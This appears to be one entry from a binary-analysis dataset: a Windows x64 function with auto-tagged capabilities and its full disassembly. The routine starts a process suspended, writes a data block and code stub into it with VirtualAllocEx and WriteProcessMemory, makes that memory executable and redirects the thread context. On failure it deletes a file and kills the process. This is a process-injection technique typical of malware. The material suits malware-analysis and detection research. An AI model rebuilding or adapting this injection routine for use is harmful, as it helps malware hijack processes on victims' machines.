Function at 0x1400060a0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Delete file
Self delete
Terminate process

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x10648
call fcn.140019d80
sub rsp, rax
lea rcx, [rsp + 0x58]
call fcn.140008660
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
je 0x14000676b
mov rdx, qword [rsp + 0x10650]
lea rcx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x140025d14]
lea rcx, [rsp + 0x80]
call fcn.140013ae0
xor ecx, ecx
mov word [rax], cx
mov edx, 0x68
lea rcx, [rsp + 0x100a0]
call fcn.140013c60
mov dword [rsp + 0x100a0], 0x68
lea rax, [rsp + 0x10080]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x100a0]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x10650]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [rsp + 0x70], eax
cmp dword [rsp + 0x70], 1
jne 0x14000676b
mov r8d, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x68]
lea rcx, str.47ACDEF0_86DD_4B95_8CBF_34CAE1BAA5C1
call fcn.140008450
mov qword [rsp + 0x10110], rax
cmp qword [rsp + 0x10110], 0
je 0x14000673f
lea rcx, [0x140026260]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x10120], rax
mov edx, 0x406c0
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x10118], rax
cmp qword [rsp + 0x10118], 0
je 0x140006723
lea rdx, [0x140026280]
mov rcx, qword [rsp + 0x10120]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x10118]
mov qword [rcx], rax
lea rdx, [0x140026290]
mov rcx, qword [rsp + 0x10120]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x10118]
mov qword [rcx + 8], rax
mov rax, qword [rsp + 0x10118]
add rax, 0x10
lea rdx, [0x1400262a0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rax, qword [rsp + 0x10118]
add rax, 0x10010
lea rdx, [0x1400262c0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rax, qword [rsp + 0x10118]
add rax, 0x20010
lea rdx, [0x1400262d8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rax, qword [rsp + 0x10118]
add rax, 0x20074
lea rdx, [0x1400262e0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rax, qword [rsp + 0x10118]
add rax, 0x200d8
lea rdx, [0x1400262f0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rax, qword [rsp + 0x10118]
add rax, 0x2013c
lea rdx, [0x140026300]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rax, qword [rsp + 0x10118]
add rax, 0x201a0
lea rdx, [0x140026310]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rax, qword [rsp + 0x10118]
add rax, 0x20204
lea rdx, [0x140026320]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rax, qword [rsp + 0x10118]
add rax, 0x20268
lea rdx, [0x140026330]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rax, qword [rsp + 0x10118]
add rax, 0x202cc
lea rdx, [0x140026340]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rax, qword [rsp + 0x10118]
add rax, 0x20330
lea rdx, [0x140026350]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rax, qword [rsp + 0x10118]
add rax, 0x20394
lea rdx, [0x140026360]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rax, qword [rsp + 0x10118]
add rax, 0x203f8
lea rdx, [0x140026370]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rax, qword [rsp + 0x10118]
add rax, 0x2045c
lea rdx, [0x140026380]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rax, qword [rsp + 0x10118]
add rax, 0x204c0
lea rdx, [0x140026390]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rax, qword [rsp + 0x10118]
add rax, 0x30524
mov rdx, qword [rsp + 0x10110]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rax, qword [rsp + 0x10118]
mov dword [rax + 0x40524], 1
mov rax, qword [rsp + 0x10118]
mov ecx, dword [0x14003a6e4]
mov dword [rax + 0x40528], ecx
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8d, 0x406c0
xor edx, edx
mov rcx, qword [rsp + 0x10080]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x10128], rax
cmp qword [rsp + 0x10128], 0
je 0x140006715
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0x406c0
mov r8, qword [rsp + 0x10118]
mov rdx, qword [rsp + 0x10128]
mov rcx, qword [rsp + 0x10080]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rsp + 0x10130], eax
cmp dword [rsp + 0x10130], 1
jne 0x1400066f6
mov dword [rsp + 0x10134], 0
lea rax, [rsp + 0x10134]
mov qword [rsp + 0x20], rax
mov r9d, 2
mov r8d, 0x406c0
mov rdx, qword [rsp + 0x10128]
mov rcx, qword [rsp + 0x10080]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
cmp eax, 1
jne 0x1400066f6
lea rax, [0x140007a20]
lea rcx, [0x140006780]
sub rax, rcx
mov dword [rsp + 0x10138], eax
mov eax, dword [rsp + 0x10138]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x10080]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x10140], rax
cmp qword [rsp + 0x10140], 0
je 0x1400066f6
mov eax, dword [rsp + 0x10138]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x20], rcx
mov r9d, eax
lea r8, [0x140006780]
mov rdx, qword [rsp + 0x10140]
mov rcx, qword [rsp + 0x10080]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rsp + 0x10148], eax
cmp dword [rsp + 0x10148], 1
jne 0x1400066d7
mov dword [rsp + 0x1014c], 0
mov eax, dword [rsp + 0x10138]
lea rcx, [rsp + 0x1014c]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov r8d, eax
mov rdx, qword [rsp + 0x10140]
mov rcx, qword [rsp + 0x10080]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
cmp eax, 1
jne 0x1400066d7
mov edx, 0x4d0
lea rcx, [rsp + 0x10160]
call fcn.140013c60
mov dword [rsp + 0x10190], 0x10000b
lea rdx, [rsp + 0x10160]
mov rcx, qword [rsp + 0x10088]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [rsp + 0x10150], eax
cmp dword [rsp + 0x10150], 1
jne 0x1400066d7
mov rax, qword [rsp + 0x10140]
mov qword [rsp + 0x10258], rax
mov rax, qword [rsp + 0x10128]
mov qword [rsp + 0x101e0], rax
lea rdx, [rsp + 0x10160]
mov rcx, qword [rsp + 0x10088]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov dword [rsp + 0x10630], eax
cmp dword [rsp + 0x10630], 1
jne 0x1400066d7
mov rax, qword [rsp + 0x10658]
mov rcx, qword [rsp + 0x10080]
mov qword [rax], rcx
mov rax, qword [rsp + 0x10658]
mov rcx, qword [rsp + 0x10088]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x10658]
mov ecx, dword [rsp + 0x10090]
mov dword [rax + 0x10], ecx
mov rax, qword [rsp + 0x10658]
mov ecx, dword [rsp + 0x10094]
mov dword [rax + 0x14], ecx
mov rcx, qword [rsp + 0x10118]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x10110]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 1
jmp 0x14000676d
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x10140]
mov rcx, qword [rsp + 0x10080]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x10128]
mov rcx, qword [rsp + 0x10080]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x10118]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x10110]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x10110]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor edx, edx
mov rcx, qword [rsp + 0x10080]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x10080]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x10088]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x10648
ret